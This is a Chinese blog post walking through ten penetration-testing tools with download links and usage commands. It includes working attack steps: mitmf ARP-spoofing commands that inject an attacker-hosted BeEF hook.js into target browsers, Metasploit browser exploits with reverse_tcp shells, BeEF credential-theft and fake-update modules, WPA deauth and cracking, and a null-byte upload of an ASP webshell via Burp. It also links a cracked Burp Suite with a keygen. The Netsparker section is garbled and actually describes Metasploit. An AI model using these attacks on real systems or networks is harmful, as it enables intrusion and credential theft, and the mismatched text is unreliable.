百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 技术教程 > 正文

分享10个渗透测试最佳工具的使用方法及下载链接

suiw9 2025-02-20 17:49 11 浏览 0 评论

渗透测试的目的不仅是找到安全系统的易受攻击元素,还要检查企业中安全策略的合规性,衡量任何安全问题的意识和范围,并查看可能性在真正的外部实体网络攻击事件中,网络可能会遇到什么灾难。实质上,渗透测试允许你发现可能没有考虑过的弱点区域。渗透测试者提供了一种全新的视角,帮助企业改进系统安全和采用更主动的方法。借助专业工具,渗透测试更加有效和高效,以下介绍10种最佳工具。

Network Mapper (NMAP)(推荐小伙伴使用谷歌浏览器访问,再使用谷歌翻译)

下载地址:https://nmap.org/

使用方法:

测试的IP为:163.177.151.110

Nmap的纯扫描

以下命令的语法如下:
nmap <目标IP地址>
其中:目标IP地址=您的目标机器的指定IP


NMAP普通扫描增加输出冗长(非常详细)
以下命令的语法如下:
nmap -vv 10.1.1.254
其中:-vv =切换以激活日志所需的非常详细的设置


Nmap的自定义端口扫描
Nmap的扫描范围从1-10000的端口默认情况下,为了更具体地指定要扫描的端口,我们将使用-p开关来指定我们的端口扫描范围,优点是它会更快扫描少量端口而不是预定义的默认值
语法:
nmap -p(范围)<目标IP>
其中:-P是端口交换机(范围)是1-65535的端口数 <目标IP>是您的特定目标IP地址

该工具可以创建一个全面的网络虚拟地图,并使用它来查明网络攻击者可以利用的所有主要弱点。NMAP对渗透测试过程的任何阶段都很有用。最重要的是,它是免费的。

Netsparker Security Scanner

下载地址:
https://www.netsparker.com/web-vulnerability-scanner/

使用方法:

  1. 打开工具,点击start a new scan,选择full scan(全部扫描),单击开始
  1. 在登录下进行扫描
  1. 等待扫描结果,并分析

可用的功能将帮助你确定应该使用的预先打包的漏洞,并且还允许你自定义它们;还可以使用IP地址和远程端口号配置它们。此外,还可以使用IP地址和本地端口号配置有效负载。然后,你可以在启动预期目标的漏洞之前确定要部署的有效负载。

Metasploit还集成了一个名为Meterpreter的工具,它可以在漏洞发生时显示所有结果,这意味着你可以毫不费力地分析和解释结果,并更有效地制定策略。

BeEF

下载地址:
https://github.com/beefproject/beef

安装方式:

git clone git://github.com/beefproject/beef.git

cd beef

bundle install

ruby beef

使用方式:

修改配置文件
/usr/share/beef-xss/config.yaml

(1)改vi beef侦听端口: http: port:3000(比如改为80)

(2)与Metaspolit关联:

metasploit: enable: false(改为true)

like:ssl: false(改为true)

(3) 配置一下拓展下的metasploit配置文件

vim /usr/share/beef-xss/extensions/metasploit/config.yaml

下面的路径为本机metasploit的路径。

然后开启metasploit的相关服务开启:# service postgresql start

在命令行下用msfconsole把控制台打开

接着加载beEF,所用命令为:“load msgrpc ServerHost=127.0.0.1 Pass=abc123”

或者直接用这个命令启动:

msfconsole -x "load msgrpc ServerHost=127.0.0.1 Pass=abc123"

下面我们来启动beef

cd /usr/share/beef-xss/ && ./beef -x

为了方便,写个启动脚本

#!/bin/bash
service postgresql start
msfconsole -x "load msgrpc ServerHost=127.0.0.1 Pass=abc123"
cd /usr/share/beef-xss && ./beef -x

接口控制面板可以通过
http://192.168.1.104:3000/ui/panel来访问

默认username/passwd是 beef:beef

控制界面

默认hook js:
http://192.168.1.104:3000/hook.js

默认hook页面:
http://192.168.1.104:3000/demos/basic.html   //访问即可被hook

好了,现在一切都已经准备好,让我们用php编写一个程序进行测试

vim /var/www/index.html


  
    
  

如果是内网,也可以利用欺骗劫持勾住目标浏览器,比如使用mitmf(要以管理员权限运行)

mitmf --spoof --arp -i eth0 --gateway 192.168.1.1 --target 192.168.1.114 --hsts --inject  --js-url http://192.168.1.104:3000/hook.js

mitmf -i eth0 --spoof --arp --gateway 192.168.1.1 --target 192.168.1.129 --inject --html-url  http://192.168.1.104:3000/demos/basic.html

钩住目标浏览器后,我们可以利用社会工程来使用户接受扩展。(Social Engineering中的模块)

比如:可以发送叫做:HTML5 Rendering Enhancements的扩展给用户,它会通过 1337 端口打开 shell。

还可以配合metasploit进一步获取权限。如:

use exploit/windows/browser/java_cmm
set payload  windows/meterpreter/reverse_tcp

生成url之后,注入目标浏览器中,进而在msf中获取shell

再比如这个模块

use exploit/windows/browser/ie_execcommand_uaf 
set SRVHOST 192.168.1.104
set URIPATH /

我们我们可以看到每一个tab代表一个浏览器,它有5个tab-总结如下:
Details-显示被hook的浏览器的细节。如上图所示
Logs-显示当前浏览器的log实体。如下图所示

commands-我们可以对一个浏览器执行模块。模块可以执行可以通过JavaScript来执行的任何命令。每一个模块有一个图标,表示为如下色彩:

Green : 可以工作; user不可见 
Orange :可以工作; user可见 
Grey : 可能工作 
Red : 不能工作 

一些实用模块:

Redirect Browser:进行重定向

方法:右侧填写木马的路径,可以配合插件升级攻击

Social Engineering --> Fake Flash Update

flash插件升级

Social Engineering --> Fake Notification Bar

功能类似插件升级

Social Engineering --> Clippy

Social Engineering --> Pretty Theft

窃取登陆凭证

Misc --> Create Invisible Frame

注入一个隐藏的iframe框架

Metasploit实用姿势

使用Metasploit的Browser Autopwn功能生成一个浏览器攻击链接

use auxiliary/server/browser_autopwn

show options

set LHOST xxx

set SRVHOST xxx

set SRVPORT xxxx
run -z

使用"Create Invisible Iframe"模块加载autopwn页面

hook手机

由于手机打开网址持续的时间很短,关闭当前页面后BeEF的shell就会下线,因此我们可以使用BeEF API,用户上线后能够自动执行批量命令,结合Persistence模块能够极大提高shell存活时间。除了与windows系统相关的信息无法获取,其他操作均能成功执行,并且BeEF为手机劫持提供了专门的模块系列——Phonegap

以下是经测试可以在Android上使用的模块:

1、弹框
2、重定向 
3、查看是否访问过某些网站
4、Creates an invisible iframe
5、Social Engineering系列,如下图,仅作演示 
6、msf系列
7、NetWork系列,可以用来扫描同一内网下的windows主机

BeEF工具最适合检查Web浏览器,因为它主要用于对抗web攻击。这就是为什么它最有利于移动的客户。此工具使用GitHub查找漏洞,此工具的最佳之处在于它探索了web边界和客户端系统之外的弱点。请记住,这是专门针对Web浏览器的,因为它会查看单个源上下文中的漏洞。它连接多个Web浏览器,允许你启动定向命令模块。

Wireshark

下载地址:
https://www.wireshark.org/download.html

使用方法:

1、打开wireshark 2.6.5,主界面如下:

2、选择菜单栏上Capture -> Option,勾选WLAN网卡(这里需要根据各自电脑网卡使用情况选择,简单的办法可以看使用的IP对应的网卡)。点击Start。启动抓包。

3、wireshark启动后,wireshark处于抓包状态中。

4、执行需要抓包的操作,如ping www.baidu.com。

5、操作完成后相关数据包就抓取到了。为避免其他无用的数据包影响分析,可以通过在过滤栏设置过滤条件进行数据包列表过滤,获取结果如下。说明:ip.addr == 119.75.217.26 and icmp 表示只显示ICPM协议且源主机IP或者目的主机IP为119.75.217.26的数据包。

5、wireshark抓包完成,就这么简单。关于wireshark过滤条件和如何查看数据包中的详细内容在后面介绍。

Wireshakr抓包界面

说明:数据包列表区中不同的协议使用了不同的颜色区分。协议颜色标识定位在菜单栏View --> Coloring Rules。如下所示

该工具提供的最大优势是分析结果的产生方式使用户轻松理解。渗透测试者可以使用此工具执行许多不同的操作,包括颜色编码,以便进行更深入的调查,并隔离最重要的单个数据包。在分析基于Web的应用上发布到表单的信息和数据所固有的安全风险时,此工具非常方便。

w3af

下载地址:http://w3af.org/download

使用方法:

root@bt:~# cd /pentest/web/w3af/
root@bt:/pentest/web/w3af# ./w3af_console


0x04 漏洞扫描配置


w3af>>> plugins
//进入插件模块
w3af/plugins>>> list discovery 
//列出所有用于发现的插件
w3af/plugins>>> discovery findBackdoor phpinfo webSpider 
//启用findBackdoor phpinfo webSpider这三个插件
w3af/plugins>>> list audit 
//列出所有用于漏洞的插件
w3af/plugins>>> audit blindSqli fileUpload osCommanding sqli xss 
//启用blindSqli fileUpload osCommanding sqli xss这五个插件
w3af/plugins>>> back
//返回主模块
w3af>>> target
//进入配置目标的模块
w3af/config:target>>> set target http://192.168.244.132/
//把目标设置为http://192.168.244.132/
w3af/config:target>>> back
//返回主模块


0x05 漏洞扫描


w3af>>> start


---
New URL found by phpinfo plugin: http://192.168.244.132/
New URL found by phpinfo plugin: http://192.168.244.132/checklogin.php
New URL found by phpinfo plugin: http://192.168.244.132/index.php
New URL found by webSpider plugin: http://192.168.244.132/
New URL found by webSpider plugin: http://192.168.244.132/checklogin.php
New URL found by webSpider plugin: http://192.168.244.132/index.php
Found 3 URLs and 8 different points of injection.
The list of URLs is:
- http://192.168.244.132/index.php
- http://192.168.244.132/checklogin.php
- http://192.168.244.132/
The list of fuzzable requests is:
- http://192.168.244.132/ | Method: GET
- http://192.168.244.132/ | Method: GET | Parameters: (mode="phpinfo")
- http://192.168.244.132/ | Method: GET | Parameters: (view="phpinfo")
- http://192.168.244.132/checklogin.php | Method: GET
- http://192.168.244.132/checklogin.php | Method: POST | Parameters: (myusername="", mypassword="")
- http://192.168.244.132/index.php | Method: GET
- http://192.168.244.132/index.php | Method: GET | Parameters: (mode="phpinfo")
- http://192.168.244.132/index.php | Method: GET | Parameters: (view="phpinfo")
Blind SQL injection was found at: "http://192.168.244.132/checklogin.php", using HTTP method POST. The injectable parameter is: "mypassword". This vulnerability was found in the requests with ids 309 to 310.
A SQL error was found in the response supplied by the web application, the error is (only a fragment is shown): "supplied argument is not a valid MySQL". The error was found on response with id 989.
A SQL error was found in the response supplied by the web application, the error is (only a fragment is shown): "mysql_". The error was found on response with id 989.
SQL injection in a MySQL database was found at: "http://192.168.244.132/checklogin.php", using HTTP method POST. The sent post-data was: "myusername=John&Submit=Login&mypassword=d'z"0". The modified parameter was "mypassword". This vulnerability was found in the request with id 989.
Scan finished in 19 seconds.
---
//开始扫描


0x06 漏洞利用配置


w3af>>> exploit 
//进入漏洞利用模块
w3af/exploit>>> list exploit
//列出所有用于漏洞利用的插件
w3af/exploit>>> exploit sqlmap 
//使用sqlmap进行SQL注入漏洞的测试


---
Trying to exploit using vulnerability with id: [1010, 1011]. Please wait...
Vulnerability successfully exploited. This is a list of available shells and proxies:
- [0] = 5.0.0" | ruser: "root@localhost" )>
Please use the interact command to interact with the shell objects.
---
//测试存在SQL注入漏洞
//这里要记住shell objects(这里是0),等一下要用到
0x07 漏洞利用
w3af/exploit>>> interact 0
//interact + shell object就可以利用了

---
Execute "exit" to get out of the remote shell. Commands typed in this menu will be run through the sqlmap shell
w3af/exploit/sqlmap-0>>> 
---
//sqlmap的一个交互式模块

w3af/exploit/sqlmap-0>>> dbs   

---
Available databases:  [3]:

使W3AF成为一个完整工具的原因是参数和变量可以快速保存到会话管理器文件中。这意味着它们可以快速重新配置并重新用于Web应用上的其他渗透测试,从而为你节省大量时间,因为你不必在每次需要时重新输入所有参数和变量。此外,测试结果以图形和文本格式显示,使其易于理解。

Acunetix Scanner

下载地址:
http://www.downza.cn/soft/286127.html

使用方法:

1、选择“Tools Explorer”下的“Web Scanner”,鼠标右键出现选项菜单,选择“ New scan”


弹出“Scan Wizard”扫描向导,输入您所要测试的网址


然后一直点击下一步,如果要测试的网站是需要登陆才能进入的web,则配置一下登陆信息,点击“New Login Sequence”按照步骤一步一步登陆,让软件记录下你的登 录信息。完成之后继续next。



当出现下图的操作时,则说明准备工作已经做好,点击“finish”按钮,可以开始扫描



扫描结束后如下图所示:

它涵盖了超过4500个弱点。登录序列记录器易于使用;它会扫描受密码保护的区域。该工具包含AcuSensor技术,手动渗透工具和内置漏洞测试。它可以快速抓取数千个网页,也可以在本地或通过云解决方案运行。

John the Ripper

下载地址:
https://www.openwall.com/john/

使用方法:

【命令列指令】

john [-命令列参数] [密码档名称]

【命令列參數】

参数:-single
说明:使用「简单」(Single Crack)破解模式解密,主要是根据使用者的「账号」产生变化来猜测解密,其变化规则记录在JOHN.INI档案的 [List.Rules:Single] 区域內。(稍后会再介绍)

案例1:john -single passwd

参数:-wordfile:[字典档档名] -stdin

说明:使用「字典档」破解模式解密,由字典档内读取单字来破解;或是可以加上-stdin参数,代表由键盘输入单字来破解。

案例2:john -wordfile:bigdict.dic passwd

参数:-rules
说明:在「字典档」破解模式下,开启字词规则变化功能,如「字典档」读入单字cook,則开启字词变化下,程式可能会尝试cook、c00k、 cooker、cook0…等其它字词。详细变化规则记录在JOHN.INI档案的 [List.Rules:Wordlist] 区域內。(稍后会再介绍)

案例3:john -wordfile:bigdict.dic -rules passw

参数:-incremental[:模式名称](参数也可以简写成 -i[:模式名称])
说明:使用「增强」破解模式解密,就是组合所有可能的资源当作密码来破解。在 JOHN.INI档案内的 [Incremental:*****] 区域里定义好许多的模式名称,可以指定使用哪一個模式来破解。(稍后会再介紹)

案例4:john -i:all passwd

参数:-external:[模组名称]
说明:使用「外挂模组」破解模式解密,使用者可以自己撰写额外的「破解模组程式」。「破解模组程式」是记录在JOHN.INI档案內的 [List.External:******] 区域内。

这是一个众所周知的工具,是一个非常优雅和简单的密码破解工具。此工具允许你确定数据库中的任何未知弱点,它通过从传统字典中找到的复杂和流行单词的单词列表中获取文本字符串样本,并使用与正在生成的密码相同的格式对其进行加密来实现此目的。简单而有效的John the Ripper是任何精心准备的渗透测试仪工具包中的一个强烈推荐的补充。

Aircrack mainly

下载地址:http://aircrack-ng.org/

使用方法:

Ifconfigwlan0 up 挂载无线网卡

Airmon-ngstart wlan0 激活无线网卡为监听模式

Airodump-ngmon0抓包

Airodump-ng –ivs –w shujubao –c 6 wlan0 抓包并保存

--ivs 这里是设置过滤,只保存用于破解的ivs文件,可以不加这个参数的,信道是多少写多少,一般是6,这个可以在抓包的时候看到,这一步可能会抓到好几个路由器的报文,选择自己要的就是了。

Airplay-ng -3 –b 目标MAC –h 客户端MAC mon0

-3是指采用arprequesr注入***模式(后面会提到参数0)

等待一段时间,具体等多少,就是等1000个以上的数据包吧,保险可以多等一会

Aircrack-ng shujubao-01.ivs 进行破解了,这种模式好破,当然拿windows下面破利用GPU加速更快。

Wpa加密破解:

前面都一样抓包的时候使用如下命令:

Airodump-ng -c 6 –w shujubao mon0

Aireplay-ng -0 10 –a 目标MAC –c 客户端MAC wlan0(参数与WEP有很大不同)

-0采用deauth***模式,后面是***次数,一般1次有效就好了。

屏幕上出现了:WPA handshake说明抓到了握手包

Aircrack-ng –w dic shujubao-01.cap

这里面需要自己制作字典,建议在win下面破解,字典工具也多,自己做一个就好了。也可以扔到网站上破解,他们应该有超大的彩虹表吧,个人感觉对于复杂的wpa2密码,这种***方式不是很好用,运气不好,要破几个月也是有可能,当然我没有验证,懒。不过这种方法确实是万能的,限制条件不多。

Burp Suite Pen Tester

下载地址:
https://pan.baidu.com/s/1mJdRZqSr5A0W9aWEcs3ySg
密码: 293x (压缩包内已包含注册机Loader)

运行Burp site,点击Proxy标签,确认Options选项卡下,Proxy listeners的running运行正常(勾选状态为运行),如果端口打开失败,可能的原因是有程序占用了该端口,点击edit,在local listener port:输入框输入一个未占用的端口,点击update即可。我这里将端口改为了8082

打开
http://192.168.8.120/test/upload_flash.asp?formname=myform&editname=bookpic&uppath=bookpic&filelx=jpg,进入上传页面,选择我们的asp木马,然后设置浏览器代理地址为127.0.0.1,端口为8082,点击开始上传,burp suite截获数据包,点击forward按钮,返回结果如图所示。

到这里所用到的数据包已经成功捕获,切换到history选项卡,右键刚刚捕获的post数据包,选择send to repeater。

更改filepath值”bookpic/”为”bookpic/shell.asp “(asp后有一空格),然后把filename的值”C:\Documents andSettings\Administrator\Desktop\unset.asp”改成”C:\Documents andSettings\Administrator\Desktop\unset.jpg”,Content-Length的值不用更改,程序会在提交请求的时候自动更新该值。

然后切换到hex选项卡,找到上传路径”bookpic/shell.asp “所处位置,把20改成00,然后点击GO,成功上传aspshell到
http://192.168.8.120/test/bookpic/shell.asp。

此工具包含成功执行扫描活动和高级渗透测试的所有基本要素,使其成为检查基于Web应用的理想选择,因为它包含用于分析目标服务器和浏览器之间请求的工具。它通过在Java平台上使用Web渗?透测试来实现。它可用于许多不同的操作系统,包括Windows,Linux和OS X.

相关推荐

nginx的反向代理(Nginx的反向代理和负载均衡)

nginxProxy代理1、代理原理反向代理服务的实现:需要有一个负载均衡设备(即反向代理服务器)来分发用户请求,将用户请求分发到后端正真提供服务的服务器上。服务器返回自己的服务到负载均衡设备。负...

Nginx UI: 更好用更现代化的Nginx 管理面板

各位铲屎官大家好,我是喵~...

性能测试之tomcat+nginx负载均衡(nginxtcp负载均衡)

nginxtomcat配置准备工作:两个tomcat执行命令cp-rapache-tomcat-8.5.56apache-tomcat-8.5.56_2修改被复制的tomcat2下con...

nginx upstream节点健康检查(nginx tcp 健康检查)

1、前提条件编译nginx时增加nginx_upstream_check_module模板git地址:https://github.com/yaoweibin/nginx_upstream_check...

Nginx 的高并发处理能力(nginx支持高并发原理)

为了实现Nginx的高并发处理能力,需要从**硬件资源**、**操作系统**、**Nginx配置**等多个方面进行优化。以下是详细的配置和示例:---...

Nginx最全详解(万字图文总结)(nginxs)

大家好,我是mikechen。Nginx是非常重要的负载均衡中间件,被广泛应用于大型网站架构,下面我就全面来详解Nginx@mikechen本篇已收于mikechen原创超30万字《阿里架构师进阶专题...

如何用 Nginx 实现前端灰度发布(nginx 灰度测试规则)

前言在前端开发中,灰度发布是一种重要的策略,它允许我们在不影响所有用户的情况下,逐步推出新功能或更新。通过灰度发布,我们可以测试新版本的稳定性和性能,同时收集用户反馈。今天,我们将探讨如何使用Ngi...

nginx配置优化场景-直接套用so happy!

前言(叠甲在先)Nginx是一款高性能的Web服务器,广泛应用于互联网领域。...

Nginx配置前后端服务(nginx前后端分离部署)

nginx安装完成后,可以通过命令查看配置文件nginx-t配置文件nginx.conf,是总的配置,有的人会把配置全部配置到这个文件中,如果服务很多,这个文件变得非常庞大,我见过一个配置很大的,在...

使用Nginx配置TCP负载均衡(nginx如何配置负载均衡)

假设Kubernetes集群已经配置好,我们将基于CentOS为Nginx创建一个虚拟机。...

Nginx服务器深度指南:安装、配置、优化指令超详解

在当今数字化时代,Web服务器是支撑互联网应用的关键基础设施。Nginx作为一款高性能的开源Web服务器,凭借卓越的性能、丰富的功能和出色的稳定性,在Web服务器领域占据了重要地位。无论是大型互联网公...

Nginx的配置详解(附代码)(nginx基本配置)

本篇文章给大家带来的内容是关于Nginx的配置详解(附代码),有一定的参考价值,有需要的朋友可以参考一下,希望对你有所帮助。常用配置项在工作中,我们与Nginx打交道更多的是通过其配置文件来进行。...

Nginx配置文件详解(nginx配置文件详解带实例)

Nginx配置文件详解Nginx是一款面向性能设计的HTTP服务器,相较于Apache、lighttpd具有占有内存少,稳定性高等优势。...

从 0 到 1:构建高可用 Linux 负载均衡集群(基于 Nginx + Keepalived)

在高并发业务场景下,单台服务器往往无法支撑大量请求,因此需要使用**负载均衡(LoadBalancing)**技术来提升系统的稳定性和可用性。Nginx+Keepalived是常见的开源负载均...

配置Nginx TCP转发(nginx 接口转发)

Nginx一般用在HTTP的转发,TCP的转发大都会使用HAProxy。工作中遇到一个需求,用到了Nginx服务作为TCP转发。场景是这样,数据采集设备通过公网将数据推送到后端应用服务,服务部署在业主...

取消回复欢迎 发表评论: